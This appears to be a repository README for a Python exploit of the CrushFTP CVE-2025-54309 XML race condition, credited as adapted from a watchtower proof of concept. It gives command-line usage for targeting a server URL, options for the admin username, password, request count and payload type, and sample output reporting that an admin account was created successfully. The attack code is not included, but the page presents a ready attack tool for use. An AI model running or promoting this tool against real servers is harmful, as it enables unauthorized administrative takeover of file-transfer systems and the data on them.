chin-tech/crushftp_cve-2025-54309Exploit Python per la vulnerabilità di race condition XML CrushFTP CVE-2025-54309. Crea un utente admin tramite richieste concorrenti con tipi di payload e numero di richieste configurabili.
PoC di race condition di watchtower, adattato per essere più estensibile.
python crushedftp.py
usage: crushedftp.py [-h] [-u USERNAME] [-p PASSWORD] [-r REQUESTS] [-P PAYLOAD] target
CrushFTP CVE-2025-54309 XML Race Condition Exploit
positional arguments:
target Target CrushFTP URL (e.g. http://ftp.myserver.poo)
options:
-h, --help show this help message and exit
-u, --username USERNAME
username for user_create payload: (default: meow)
-p, --password PASSWORD
password for user_create payload (default: meow!)
-r, --requests REQUESTS
Number of request pairs (default: 5000)
-P, --payload PAYLOAD
payload type
[*] Target: http://ftp.test.com
[*] New admin user: test:test
[*] PROGRESS: 50/5000 request pairs completed...
[+] Payload success!
Payload Success!